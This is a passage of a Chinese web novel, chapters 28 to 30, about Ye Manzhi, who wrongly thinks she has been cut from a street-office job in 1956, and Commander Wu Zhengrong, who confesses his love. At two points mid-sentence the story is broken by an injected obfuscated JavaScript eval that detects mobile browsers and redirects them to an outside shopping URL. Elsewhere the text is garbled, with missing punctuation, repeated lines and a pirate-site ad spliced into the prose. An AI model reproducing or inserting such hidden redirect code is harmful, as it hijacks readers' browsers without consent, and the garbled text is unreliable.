无论是纯白柔软的裙子,还是乌黑微卷的长发,抑或是绑着长发的黄手绢,都与他们第一次见面时的温柔乖巧非常契合。 吴峥嵘走进会场时,很轻易就找到了叶满枝的身影。 一身素净的白裙子,在满场的碎花连衣裙中,显得格外打眼。 无论是纯白柔软的裙子,还是乌黑微卷的长发,抑或是绑着长发的黄手绢,都与他们第一次见面时的温柔乖巧非常契合。 第 28 章 职场失意,情场得... 穆主任组织大伙投票的时候,四个年轻人被支出去检查铺户卫生了。 若不是陈彩霞被穆主任约谈后,红着眼眶过来道别,叶满枝还不知道投票结果已经产生了。 “我下周就不来了,”陈彩霞拉着她的手说,“小叶,咱俩这两个月一起工作,相处得挺愉快,你知道我家在哪,以后有空到我家玩去。” 叶满枝接连问:“怎么就不来了?投票有结果了吗?穆主任跟你说什么了?” “投票结果下午就出来了,穆主任安慰了我一阵,还把这个月的工资给了我。”陈彩霞叹了口气说,“小叶,你也有个心理准备吧,穆主任可能也会找你谈话。” 叶满枝脑子里炸了一下。 什么意思? “那我也得走了?” “没事,你还比我强点呢。”陈彩霞说着说着,又落下泪来,“你至少还有两票,我却一票也没有!干了两个月,没有功劳也有苦劳吧,结果连一张安慰票都没有!” “彩霞姐,你是不是弄错了呀?” 穆主任不可能把0票的事告诉她吧,这不是得罪人么! “没弄错,他们唱票的那个稿纸就在张勤简的办公桌上放着,穆主任找我谈话的时候,我瞟见了!” “……” 陈彩霞负气道:“这街道办的工作整天加班,不来上班也没什么大不了的,我就是生气零票这件事!别人都能把票投给自己带的人,只有张勤简那个假正经、假道学、假大空,把票投给了别人!该干的工作我一点没少干,这两个月也没得罪过他,他这人怎么这样啊!” 她一连说了三个“假”字,可见心里有多恨张勤简了。 叶满枝心里乱糟糟的,但是见她被气的满脸通红,只能先安慰道:“此处不留爷,自有留爷处!咱们以后都不用看张勤简那张老脸了!” “对!我可真是再也不想见到他了!”陈彩霞擦了眼泪,提醒她,“穆主任帮我写了一封推荐信。她找你谈话的时候,你最好也提一提,拿着推荐信去找工作,也能更容易些。” 叶满枝连连点头,又说了许多安慰鼓励的话,才与她在路口分别。 刚才只顾着安慰0票的陈彩霞,叶满枝暂时把自己的情绪压了下去。 此时只剩她 一个人站在路口那股巨大的失落感便排山倒海似的倾泻而出了。 她不是没想过被刷掉的可能。 大家的工作能力终归不是天堑般的差距有钱有人脉的同志当然更有优势。 就像刘金宝他家的亲戚朋友几乎遍布整条街光是叶满枝知道的就有供销社、工商所、粮库、物资批发站。 在街道办这种单位省里市里的关系未必有街道上的关系管用。 可是结果没出来前总是心存侥幸的。 她想着自己毕竟是拿着军代表的推荐信入职的如果连军代表的推荐都不能帮她留下那她得差成什么样啊! 所以她白天上班晚上加班甚至把周末也给了工作。 连每周必去的国风音乐会都被她放到了一边就是想一鼓作气把编制拿下来。 然而全力以赴两个月却只等到一个被放弃的结局。 叶满枝心酸又难过眼泪禁不住夺眶而出。 不被认可的失落、失败后的茫然让她暂时忽视了身处的环境。 一边啪嗒啪嗒掉眼泪一边机械地移动脚步。 “叶满枝。” 哭得伤心的时候有辆吉普车忽地停在了马路边。 她听出那是吴峥嵘的声音但她此时最不想见到的人就是吴峥嵘。 叶满枝佯装什么也没听见加快速度过马路。 吴峥嵘下车快步追了上来。 但他显然没料到对方会在马路上落泪乍然见到她这副泪眼婆娑的可怜样子时眼中露出明显的错愕。 “怎么哭了?”问话的声音比往常轻了三分。 叶满枝不想跟他说话胡乱摇摇头就打算绕过他走人。 吴峥嵘再次将人拦住“受什么委屈了跟我说说。” 用着轻松玩笑的口吻眼底却没什么笑意。 叶满枝身上有股不知天高地厚的旺盛生命力 “没什么”叶满枝不想在他面前丢脸试图把眼泪憋回去却总是徒劳只好嗡声说“吴团长我今天情绪不好有什么事改天再说吧。” 路边人来人往不适合询问太多。 吴峥嵘皱眉看了她一会 儿攥住她一只手腕将人带到了吉普车门边。 秦祥已经从驾驶室里出来了不走心地找了一个烂借口“我突然肚子疼你自己开车回厂里行不?” “嗯你直接回去休息吧。”吴峥嵘让叶满枝坐进副驾驶与小秦点点头便发动汽车扬长而去了。 经过军工大院门口的冷饮摊子时他放慢车速下车买了根奶油冰棍给她。 “吃吧从小学生手里抢来的。” “……”叶满枝顾不得难过下意识反驳“小学生才不会买一毛钱的奶油冰棍。” 她都上高中了零用钱才有五毛。 “嗯小学生也不会在马路边哭鼻子。” 吴峥嵘找出一块干净手绢想帮她擦擦腮边的眼泪伸到半途又调转方向将手绢放进她手里。 “今天怎么了?工作受气了?” 街道有不少调解工作在居民那里受点委屈是难免的。 吃了两口冰棍叶满枝情绪缓和了一些犹豫再三后还是鼻音嗡嗡地跟他讲了下午的情况。 反正她没拿到编制的事早晚会被人知道虽然有点丢人但由她自己说出来总好过让他从别人口中知道。 闻言吴峥嵘的表情明显松懈下来靠回椅背上笑道:“这也值当你在马路上哭鼻子?还不肯搭理我……” “当初是您给我写了推荐信我才去街道上班的现在白白浪费了这个机会我都不好意思面对您了。” 吴峥嵘不以为然道:“如果凭个人能力录取他们不选你是街道领导的问题。如果凭关系背景录取他们不选你是我的问题。这些都跟你没关系你哭什么?” 叶满枝含着冰棍琢磨半晌才弄明白他的逻辑。 合着领导不录取她要么是领导没眼光 小说更新,记住域名qiexs?(请来企鹅 小说 看最新章节 完整章节)要么是他没面子反正与她没关系。 虽然不太符合正常人的思维但叶满枝向来从别人身上找原因这话还是狠狠安慰了她的。 她用那块手绢在脸上擦了擦小声嘟哝:“我就是觉得有点丢人前段时间我还在帮人介绍工作、推荐学徒工呢结果我把人家都安顿得挺好自己竟然失业了!要是被人知道大家肯定都要笑话我!” 说到这里刚被她憋回去的眼泪 又不自禁涌了出来。 她是军工大院的联络员,大家平时见了她都小叶干部长,小叶干部短的。 这回她被街道办刷了下去,肯定要被人说闲话了! 吴峥嵘对上她被泪水冲洗过的乌黑眼眸,有点受不了她这副红着鼻尖、泪眼朦胧的情态。 于是,开口说了句从前绝不会说出口的话,“那怎么办?要不我再帮你想想办法?” 叶满枝擦了眼泪,连忙摆手:“我跟您说这件事,只是让您提前了解情况,毕竟当初是您把我推荐过去的。绝没有让您帮我出头的意思!” 她再也不想当关系户了。 这样说也许有些矫情,但她这阵子的大部分压力,其实是来源于那封推荐信的。 她总怕表现得不好,给自己丢脸,也让吴峥嵘跟着没脸。 吴峥嵘笑问:“街道办是什么非去不可的单位吗?被打脸一次不够,还要凑上去第二次。我可以帮你在其他单位想想办法……” 当初是穆主任说街道办有人员缺口,欢迎推荐人才,他才把叶满枝推荐了过去。 若是早知街道工作竞争这么激烈,甚至还搞出了二选一的名堂,他根本就不会写那封推荐信。 叶满枝是高中毕业生,即使没有他的推荐,两个月的时间也足够她找到一份正式工作了。 可是,叶满枝并不这样想。 街道办朝九晚五,离家近,还没有大单位复杂的人际关系。 虽然经常加班,但没有了编制压力后,加班的情况肯定会得到改善。 街道办在她这里就是好单位。 尽管最终没能留下,可她这两个月的大部 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12982412|132011||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 分时光还是快乐精彩的。 “吴团长,您的好意我心领了。但我现在有了些工作经验,找工作的事我自己能处理。” 叶满枝重新擦掉脸上的泪珠,眉宇间带出的自信,让她整个人都明亮了起来。 “真的不需要我帮忙?” “嗯,不用了。” 车厢里再次陷入安静。 之前只顾着为工作伤心,叶满枝一时忘了那天在舞会上发生的事。 这会儿情绪稍稍平复以后,她突然就不想跟吴峥嵘身处同一空间了。 “吴团长,要是没什么事,我 就先走了。”她挎上自己的包,准备推门下车。 吴峥嵘却伸手攥住她的手腕说:“我今天绕路光明街,本来就是特意去找你的。” “什么事?” 吴峥嵘再次向她确认:“你工作上的事真不用我帮忙?如果需要我帮忙,那接下来的话就暂时不提了,否则会显得我趁人之危。” 叶满枝算是个聪明人,心思一转就明白了他的意思。 她脸上热腾腾的,嘴角翕翕,一句话也说不出来。 这种问题让她怎么回答? 不想听他接下来的话,便要请他在工作上帮忙。 若是婉拒他帮忙,就是默认想听他表白…… 她眼里还残存着一丝水润的泪光,这样近距离的对视,让吴峥嵘下意识加深了攥住她手腕的力道。 他没等对方回复,率先开口说:“叶满枝,既然事业已经失意了,情场总该得意一回吧?” 作者有话要说 晚九点还有一更。 一百个红包,晚上见~ 感谢在2024-07-2311:59:12~2024-07-2411:58:56期间为我投出霸王票或灌溉营养液的小天使哦~ 感谢投出手榴弹的小天使:白发浴红衣1个; 感谢投出地雷的小天使:白发浴红衣3个;綉露、晃晃1个; 感谢灌溉营养液的小天使:猹猹不想做社畜了150瓶;徐淮之86瓶;张孜然60瓶;暴瘦50斤56瓶;大阿卡纳50瓶;2333、给我大do特do、鱼饼饼30瓶;不离不弃的羽翼24瓶;你说的都对、小秋、逐梦的游鱼、Phoebe2026、笔墨纸砚、小也20瓶;ohlroys、包子义薄云天、您又来摸鱼了啊、风止、雯紫小透明、起舞弄清影、夏天吃薯条、橘子汽水喵、游手好闲、鹿泡泡、啊哈哈、吉吉急急急、唯、52963326、维-纳10瓶;逃离8瓶;黑眼圈的兔子、云雨、阿晚晚6瓶;地球下着雨、栗咪酱、乐白源、枯井佛桑花、芸曦、啊炤小可爱、卷毛搏斗专家、葵宝宝5瓶;69208282、63718905、糖糖、花璨、279193863瓶;竹秋、呼呼噜噜啦、取个名字很难、甜醋排骨、早安风铃、安包包、什么时候变成 富婆、.泪海的盐、兰迦、柳西莫、30625887、不知身在此山中、日暮酒、圆圆圆2瓶;Langerhof、哎呀呀、沐沐、动物园园长、‘早起的虫儿、被鸟吃、TEN、哄哄、54619575、好好学习天天向上、久笙、叶子猫、絮月半里、三三得九、嘟嘟、凉小妖、哇汪汪、Miasc、哒哒哒、哎呦喂、快睡觉?、七颜、mints、秋秋糖、偶人为之、沅沅、钱从四面八方来、Nora、晨熙麻麻、一二三呀、千里遥、白发浴红衣、团子、拿铁加奶、渔者愚者、查查、远远可够远、不熬夜、小鸣、Fernweh、涵涵妈、绿色食品、滴滴答答滴、天气变冷了、欧欧欧、没有昵称、crystal、一口一个小熊软糖、月光下的芭蕉树、54、咿呀咿呀哟、林三岁超可爱的、60536178、水果沙拉、栗子?、lenfen123、茳芏、略略略、bingmay、金色年华、宁三公子、朱萸、audrey、胖蟹、等啊等、xiaoxiao、Snowy、Yono、喵小酱、你吃草莓吗、佳肴、无缘无故、最丫丫丫的兔、两一一柯、69295327、小熊硬糖、朝思暮念、渔夫、星河白鹭、49215995、柠檬的柠的檬、tingt、570898201瓶; 非常感谢大家对我的支持,我会继续努力的! 第 29 章 雄孔雀:把潜在情... 吴峥嵘的表白非常直接,充满了军人的果敢、果断、果决,没留下任何被错误解读的余地。 直截了当地说,他想与叶满枝谈一场恋爱! 是的,在时下大多数人,只敢含蓄地使用“成为革命战友”“谈朋友”“谈对象”来表达情感时,咱们的吴峥嵘同志,直白且目的明确地对叶满枝说出了“谈恋爱”这三个字。 叶满枝的感情经历,只有那段过家家似的娃娃亲。在她十八年的人生里,从没遇到过如此大胆的表白。 “恋爱”这个词听在她耳中,就是要比其他表达更旖旎更暧昧。 她不但羞得双颊滚烫,连眼皮都是热的。 “你干嘛要说这种话呀!” 他好意思说,她都不好意思听! 吴峥嵘坦言:“表白本就不是含蓄的,既然要表达喜欢,就没必要遮遮掩掩。” 少年时期的吴峥嵘是个非常自负的人,连他那位在大学里当院长的爷爷,都曾因为掌控欲过强,一度被他鉴定为笨蛋。 尽管随着阅历的增长,这种讨人嫌的自负已经有了明显改善,但后遗症仍然不小。 不过,无论他多么恃才傲物,都必须承认一点,有些机会是要主动争取的。 像叶满枝这样年轻漂亮又有格调的姑娘不缺追求者,只看舞会上那些前赴后继主动邀舞的男人就可见一斑。 她之所以还能保持单身,一方面是刚与周副厂长家退婚,周家那个小子似乎有意复合,有心人还在保持观望;另一方面是这姑娘近期一心扑在工作上,暂时顾不上谈婚论嫁。 吴峥嵘行事向来果断且从心所欲,他心里既然喜欢人家姑娘,就要及时表达、主动争取,把潜在对手扼杀在摇篮里。 而“恋爱”这个在时下看来略有些出格的表达,能在心理上对人产生冲击,打破从前的固有印象。 吴峥嵘觉得自己的表白方式选对了,叶满枝终于把用了几个月的“您”换成“你”了。 叶满枝脸上的热度一时半刻降不下去,她干脆放弃掩饰了,双手捂着脸说:“我前一刻还在为工作伤心呢,后一刻就听你说这种话!” “我怕你等不及了。” 叶满枝惊讶地反驳:“谁等不及了?” “你觉得我是个 很轻浮的人吗?在舞会上对你说了那种话以后,就没有下文了? 叶满枝心说,你就是很轻浮呀,舞会之后好几天都不见踪影。 提起舞会,她又想起了带她跑路的林青梅,想起青梅,自然又想到了她与吴峥嵘之间最大的阻碍。 她对吴峥嵘,确实有那么一点,好吧,是有很多不可言说的鬼祟色意。 但是让她这种连工作都要选在家门口的恋家闺女,远嫁去陌生的地方,她也是不乐意的。 晕晕乎乎的大脑逐渐清明起来,突然被表白的羞涩和欢喜也如汐落般褪去。 “吴团长,您所说的谈恋爱,是以结婚为前提的吗? 听她又开始用“您在两人之间竖起屏障,吴峥嵘刚靠进座椅的后背,再次挺直起来。 “当然,在你愿意的时候,咱们可以正式成为彼此的爱人。 叶满枝知道“爱人这个词,只是向外人介绍自己伴侣时的一个称呼。 比如,“这是我爱人XXX同志。 但她还是情不自禁地心动了。 哎,这个吴峥嵘总要办一些不要脸的事,说一些不要脸的话! 她让自己镇定下来,继续说:“咱们第一次见面的时候,您说自己只是暂代的军代表,可能在656厂待不了多长时间。而我是我父母结婚后生下的唯一的孩子,不可能长期远离父母。您懂我的意思吧? 吴峥嵘与父母好几年都见不上一面,不太理解她这种恋家的心情,只能按照他的理解问:“你是一辈子都不能离开父母吗? “……叶满枝被问得语塞,考虑了半晌才说,“至少在我需要他们,他们也需要我的时候,我是不想离开的。 吴峥嵘把仪表台上的牛皮纸袋递给她,“我前段时间去北京开军事代表会议,顺便跟上级打了报告申请留任。正式任命文件还没下来,但今天上午已经收到部里的电报了,以后几年会一直在656厂任职。 想了想,他又如实交代:“在这件事上我不能骗你,即使现在留在了656,也不代表我会一直在这里工作。如果上级哪天要将我调离,我是必须服从的。不过,很大概率是在省内调动。 说更新,记住域名qiexs?(请来企鹅小 说 看最新章节 完整章节) 闻言,叶满枝心里惊喜得咕噜噜冒泡泡,连忙问:“你这么厉 害呀?跟上级一申请就被批准啦? “我跟领导说,由于工作生活不稳定,遇到心仪的女同志不能表白,严重影响我的择偶,吴峥嵘煞有其事地说,“领导也许觉得我确实年纪太大了吧。 叶满枝知道这肯定不是事实,但还是弯眼笑了起来。 与之前的梨花带雨相比,吴峥嵘更喜欢看她这样眯着眼睛笑,他不由问:“怎么样,小叶同志,能接受我的追求吗? 不过,话一出口,他就暗道不妙。 叶满枝果然故作踯躅道:“你还没追求,我就答应了,会不会显得我太不矜持啊? 两人望进彼此的眼里,吹进车内的晚风,似乎都比外面的浓稠几分。 吴峥嵘暗叹一口气,伸手将她散落的头发别到耳后,笑着说:“行,那我先追求小叶同志。 * 吴峥嵘想邀请她一起吃晚饭,但叶满枝今天的心情大起大落,五味杂陈,她想回家独自消化一下。 所以,第一次被人追求的小叶同志,很矜持冷酷地拒绝了对方的约饭邀请。 从吉普车上下来后,她就心情雀跃地跑回了家。 老叶刚下班回来,见她跟只小鸟似的扑棱棱飞进来,不由关心道:“小叶干部,你们那个试用期是不是结束了?看你这么高兴,这是留下来啦? 这可真是哪壶不开提哪壶,叶满枝刚刚飞扬起来的心情,立即“啪嗒一声摔在了地上。 她心想,早死早超生,不带半分拖沓地向全家人通报了她被街道办刷掉的消息。 安静了两秒后,常月娥率先说:“没有街道办还有其他单位,高中生不愁找不到工作。再说你马上就要出版图书了,出书的稿酬也足够你开支的。上不上班都行,你要是不想上班,就在家鼓捣你那个画册,万一以后还能出一本呢! 她这话主要是说给两个儿媳妇听的,别以为来芽不上班,就是白吃白喝家里的。 叶家人对于叶满枝的失利早有心理准备,随口安慰几句就把事情翻篇儿了。 四嫂沈亮妹也趁着小姑子事业不顺的档口,宣布了一个坏消息。 她在话剧团的学徒内容有了一些小小的变动。 原本她是去话剧团学化妆和理发的,但她现在转去话剧团 食堂学白案了。 全家人:“……” 从剪头的变成揉面的,这可不是小小的变动。 沈亮妹红着脸说:“哎,那化妆和理发真不是什么人都能做的,我这双手干不了那么精细的活,幸亏我那个师傅关照我,把我推荐去食堂了。” 她其实已经在食堂学徒半个月了,但这事说起来怪丢人的,正好趁着小姑子失业的机会,跟家里说一声,两人相互分散一下火力。 叶满枝暗道,不去街道办工作也没什么,家里这些热闹就够她看一阵子了。 她这话是前一天说的,然后到了第二天半夜,老叶家就闹出了更大的热闹。 她当晚有点失眠,一会儿想工作的事,一会儿又想吴峥嵘,在床上蛄蛹来蛄蛹去。 事情发生的时候,她还没睡着。 正准备出去上个厕所时,忽听隔壁三哥三嫂的房间里,传出一声尖叫。 那叫声一听就是三嫂黄黎的。 叶满枝离得近,趿拉上拖鞋就往隔壁跑,敲了敲门问:“三嫂,你没事吧?” 三嫂没回应,但是一直在尖叫:“啊啊啊啊,满堂满堂,快快快,有耗子爬到床上来了!” 三哥迷迷糊糊地说:“这阵子一直除四害,咱家又没有耗子洞,哪来的耗子啊?” “真有耗子!我都听到它啃东西的咔嚓声了,而且它刚才就是从我头顶窜过去的!” 说到这里,黄黎又受不了地“啊啊啊啊”了起来。 作为一个长期生活在一线城市的现代人,别说老鼠了,连仓鼠她都很少见到,更别提与之接触了。 只是想想耗子爬上床的画面,她鸡皮疙瘩就立起来了。 “啊啊啊啊,叶满堂,你赶紧起来抓耗子!” 全家人都被她的叫声吵了起来。 常月娥因着闺女被刷掉的事也没睡好,这会儿就提着老四抓麻雀用的网兜跑过去支援了。 叶满枝也是受不了耗子的,她只敢站在门外听热闹。 没过多久,就听到三哥说:“哎,抓住了,不过我咋感觉床底下还有声音?” 又过了一阵,常月娥惊讶地问:“老三,你们这床底下怎么放了这么多粉条和黄豆啊?粮食放在床下能不招耗子吗?” “哎,这都是小黎买的,柜子里放不下,就放到床底下了,我也没想到能有这么多呀! “这样不行,你俩赶紧收拾收拾,这么多粉条,不是擎等着耗子来嗑嘛! 叶满枝从门缝里往三哥的屋里看了一眼,好家伙,床底下攒了足有二三十斤的粉条。 粉条这东西既能当粮食,又能当配菜,价格又贵又不好买。 不知三嫂从哪买来这么多粉条! 她还想再看看情况,常月娥却拉着脸走了出来。 “这么晚了还看什么热闹,赶紧回屋睡觉去! 跟着进了女儿的房间。 房门一关上,她就哼了一声,撇嘴说:“这个老三媳妇可真行,买那么多粉条藏在床底下,从没拿出来吃过,不给家里人吃,她自己也不吃。这不是浪费嘛? “没事,粉条易存放,放上三两年都没问题,反正三嫂是用自己工资买的,人家想怎么处理是人家的事,你这个当婆婆的少管! 叶满枝知道,常月娥不太待见这个三嫂。 当初三哥结婚时,虽然不是亲生的,但常月娥是尽心尽力筹备了婚事的。 可是婚礼当 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12982413|132011||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天,新娘却迟迟没出现,硬生生将宾客晾了三个小时。常月娥着急上火,跑出去往三嫂单位打电话时,一不留神踏空台阶,磕破了额头。 婚礼终究没办成,常月娥进了医院,老叶家也因此丢了大脸。 所以,常月娥时常偷偷跟她念叨,老三媳妇与她八字不合。 叶满枝能说啥,只能依靠她微薄的力量,在家里缝缝补补呗。 不过,三嫂买那些粉条确实太多了些,看她也不像是爱吃粉条的样子,不知她买那么多粉条是做什么的。 因着突然闹了耗子,老叶家全家折腾到后半夜,叶满枝次日起床时已经日上三竿了。 正好给了她借口,不用去街道办上班。 虽然已经接受了被刷掉的事实,但叶满枝心里还憋着一股闷气。 仿佛不去上班,就是对街道领导的反抗。 反正她已经被刷掉了,再按时按点地去上班,岂不是自取其辱! 这一天她都没去上班,在家把被褥拆洗了,只等着找个时间去把第二个月的工资领回来。 然而,她 刚端着洗衣盆从水房回来就见到了笑嘻嘻坐在客厅里的刘金宝。 “刘金宝你咋来我家啦?” “来看看你呗!你今天不去上班怎么不请假啊?好多工作都是我帮你做的!穆主任还问了好几次呢大家都以为你生病了派我来看看你到底咋回事!” 作者有话要说 一百个红包 感谢在2024-07-2411:58:56~2024-07-2420:58:06期间为我投出霸王票或灌溉营养液的小天使哦~ 感谢投出手榴弹的小天使:katy1个; 感谢投出地雷的小天使:战地黄花99、泉与琦、喜春秋、鳯萧萧、蛋蛋、薛漂亮1个; 感谢灌溉营养液的小天使:薄110瓶;路人丁70瓶;中庭之姝60瓶;锡兰55瓶;今日仍是贫穷的小王50瓶;26225759、竹雪影40瓶;河青鱼39瓶;未晞30瓶;思君朝27瓶;路人甲、小奶球、sissiidun24瓶;7234718823瓶;墨染槿涩22瓶;27197976、不看评论区会更快乐、不穿裤裤好凉爽、糖不苦、那样的你、沈承书、ear、nnnnnmmmm、萌物甜甜的小胖猪20瓶;女生最可爱19瓶;四夕、夏天的风18瓶;翼&落~莫上邪、别叨叨、阿月15瓶;瑰色14瓶;嘚逗13瓶;Annah、遇见、凤凰单丛、二美啊、老妈想吃肉、外星人秋裤、南柯一梦、凉凉社会主义核心价值、橘子猫、Wutongyu、136g小橘、雯紫小透明、哈哈、随便吧、小北、椿皮、巧酸梅、逐梦的游鱼、簇拥烈日的花、懒鱼不想翻身、蜂蜜柚子、Aim、kaka80、香初、ltjenny、绵羊啊绵羊、Christmas、滴滴哒滴哒、湮煜轩、疯兔子、狸花猫、Karen星微、自由奔放的鸟鸟、52963326、江绵绵?、哦米豆腐、Dawn、33916146、哒哒哒、科莫多龙、去踏马的工作、莫斯10瓶;一弦9瓶;Echo8瓶;桥豆7瓶;小鱼6瓶;睡觉时间到、白驹、六斤六两、我要叫哈哈、孔拉德.维尔卿、玫瑰的名字、小草、君司夜、24901529、鸵鸵、咩啊、三三、戴戴、青青、地球媛住民、年糕?5瓶;叽里咕噜、任梦洁 4瓶;瓶子、土方桑、.泪海的盐、鱼飞月影、阿边、馨冉、腱小宝3瓶;甜柠、等啊等、哈哈哈、默默看文,不爱评论、柳西莫、水果沙拉、Belle、幻影、秋秋糖、碧落、阳光、鱼羊、早安风铃、59748440、取个名字很难、橘蝉、甜醋排骨、妖精的镜子、黄花菜、不知身在此山中、大猪猪2瓶;花花家的虎虎、小妖、啾也、πππ、小鸣、xiaoxiao、沅沅、Miasc、亲爱的团子、27919386、天气变冷了、涵涵妈、快睡觉?、D、风从海上来、哦?哦!、Zeo、倒计时的鱼、玖陈林、妮妮、56677774、乐意、zjzdoyouknow、再瘦10斤、茜yuyu、团子、莞婉、tingt、林三岁超可爱的、xuanxuan127、Cynthia、踩点王、咿呀咿呀哟、鲈鱼轻轻、60536178、lenfen123、书虫0~9、Yono、56204360、品卓、kareN不另外加糖、妮妮、花儿、喵小酱、昆仑山资深观察员、Nora、第10086个小号、ohhappyday、最丫丫丫的兔、桂花糖芋苗、rebecca、一二三呀、茳芏、‘早起的虫儿、被鸟吃、拿铁加奶、两颗糖z、查查、Renhy、嘀嗒嗒、丰丰山心、36774758、今天有进步一点嘛、时闻、远远可够远、两一一柯、风景旧曾谙、xiaojiang、cat?le、沐沐、七七四十九、陌上蒹葭、ida-last、57588418、mints、Happs、kk、快乐的豆豆丫、57089820、37087880、秋秋、山坡斜阳、渔者愚者、柠檬的柠的檬、你吃草莓吗、56927210、……、糖心荷包蛋、stella、零度以寻、Lychee、略略略、锅锅在进击、胖蟹、275897631瓶; 非常感谢大家对我的支持,我会继续努力的! 第 30 章 小叶干部的新工作 刘金宝爱打扮,嘴又甜,很讨中老年女同志的喜欢。 叶满枝在水房洗床单的工夫,常月娥已经把自家的点心盒子拿出来请他吃了。 出于一些不好诉诸于口的嫉妒心理,叶满枝在心里翻个白眼,心疼自己的长白糕。 刘金宝的目光在她身上打量好几眼,叹了口气说:“看你这样,不像是生病的,哎,你今天没去上班,不知道咱单位有多热闹!” 叶满枝不想捧哏,但架不住她妈愿意捧场。 “小刘,你们单位怎么了?” “今天又来个新同事,反正挺一言难尽的。” 叶满枝立即瞪大眼睛问:“街道办又来新人了?咱们不是没有编制吗?新来的是临时工吗?” “怎么可能是临时工!人家是从区里直接带帽下来的编制!”刘金宝扁扁嘴问,“小叶,你啥时候去上班啊?你跟陈彩霞不在,我聊天都找不到人。” 叶满枝不客气道:“我跟彩霞姐都被刷掉了,我还去上什么班啊?” “谁说你被刷掉了?穆主任不是只找陈彩霞谈话了吗?”刘金宝盯着她,长长地哦了一声说,“你不会以为自己被刷掉了,才闹情绪不去上班的吧?” “???” “放心吧,试用期结束,只有陈彩霞没能转正,咱们三个都被留下了。”刘金宝笑道,“穆主任上个月就向区里申请扩编了,街道办人员编制与居民总人数是配套的。一万六千居民的时候是6个人,现在将近一万九了,不能还是6个人吧?” 叶满枝连忙问:“那咱们街道现在到底是几人编制啊?” “穆主任申请增加两个编制,不过区里没批,只给了一个,本来以为就是七人编制了,结果今天周一,那个赵二贺突然就来报到了。”刘金宝再次强调,“人家那个名额是从区里带帽下来的。” 对于街道领导来说,这肯定是好事。 甭管这个名额是不是带帽的,终归是给街道增加了一个人员编制,哪怕以后那个赵二贺被调走了,这个编制仍是留在街道办的。 但是对他们这些小干部来说,区别可就大了去了,因为编制是带帽下来的,陈彩霞直接被淘汰了。 不过,这事也没什么可抱怨的,当初来试岗就知道只能留两个,如 今能多一个编制已经算是意外之喜了。 叶满枝消化了一下刘金宝带来的消息。 有点佩服他打探消息的能力,不由感慨道:“你怎么什么消息都知道啊? 她要是早点得到消息,也不会只听彩霞姐的一面之词,闹出这么大的误会了。 刘金宝摇头说:“我是今天早上才知道的。穆主任申请扩编,好像连张副主任都不知情,我看他今天也挺惊讶的。穆主任说,没有确切消息之前,不想让大家失望。嗐,谁知道领导是咋想的! 无论如何,叶满枝能留在街道继续上班,对叶家来说是个好消息。 叶守信在晚饭时喝了点小酒,埋怨道:“你这孩子怎么听风就是雨!领导都没找你谈话,你先不去上班,这像什么话!明天去了单位跟领导好好解释解释! 老叶对闺女这工作挺满意的。 在家门口当干部,工资高,上下班不用打卡,工作时间灵活,中午甚至还能回家眯一觉。 家属院离工厂这么近,他还从没回家睡过午觉呢!军工厂管理严格,无论车间还是办公室,一人迟到早退,整个部门的奖金跟着遭殃,谁敢用中午那点时间回家休息! 叶满枝辩白道:“关键是我不知道有扩编这码事呀!这么大的事,穆主任怎么一直瞒着呢? 叶守信嘬了口烧酒,哼道:“你们主任在投票结果出来的那天,只找了小陈,却没找你谈话,说明她至少在投票当天就知道了扩编的结果。她明知已经扩编了,还同意副主任的提议,让大家投票表决,而且按照小刘那意思,当时还是明着唱票的,你说这是为啥? 叶满枝想到好几种可能,但还没缕清思路。 “如果张勤简提前知道增加了一个编制,也许彩霞姐就不会以0票收场了吧? “呵呵,小陈是跟着他的,又没犯啥大错,他连自己人都不投票,这不明显有猫腻嘛。知道这些细节的人,谁不说一句副主任不地道?叶守信又嘬一口酒,感叹道,“这个副主任之前上蹿下跳的,但是出了这码事以后,肯定要消停一阵子了。主任就是主任,副主任就是副主任,闺女啊,你学着点吧! * 叶满枝对老叶的分析半信半疑,翌日去单位上班的时候,特意观察了一下张勤 简。 从表情上看不出什么,但他有个唱京剧的爱好,喝茶的时候总会习惯性哼上两句。 今天张勤简却安静地喝茶看报纸,像是没什么心情唱戏了。 叶满枝在心里暗暗佩服穆主任,只用一个编制,就摸清了每个人是人是鬼。 投票是张勤简提议的,他的两票也是他自己投的,怪不到别人身上。 所以,当穆主任询问她昨天为什么没来上班的时候,叶满枝没敢对领导撒谎,如实道:“我以为自己被刷掉了呢,不好意思来上班。 “这事也怨我,周六跟彩霞聊完以后时间有点晚了,没能跟其他同志及时沟通,穆兰拿出一个信封给她,“其他人的入职手续都办完了,你昨天没来,我帮你把该填的填了。这是上个月的工资,还有你的工作证。 叶满枝接过信封,先把红色的工作证拿出来,逐行扫过上面的个人信息。 姓名:叶满枝 性别:女 年龄:18岁 籍贯:滨江 职别:干部 服务单位:滨江市正阳区人民委员会光明街道办事处 地址:正阳区光明头道街60号 发证日期:1956年8月27日 叶满枝从前出去办事时,只能带着介绍信,一直没有工作证。 这会儿望着工作证上的“职别和“服务单位,她心中欢喜的同时,鼻腔也酸酸的。 为了这个正式编制,她可太不容易啦! 叶满枝收起工作证,对穆兰说:“谢谢主任! “你这两个月工作做得出色,群众反馈也很好,适合做基层工作的人才咱们肯定要想办法留下的。不过,你现在只是迈出了长征第一步,以后的工作也不能松懈,一定要保持之前的工作热情! 叶满枝连忙保证:“我一定听您指挥,好好为人民服务! “嗯,去忙吧,抽空往你的工作证上贴张一寸相片,咱们统一盖戳。 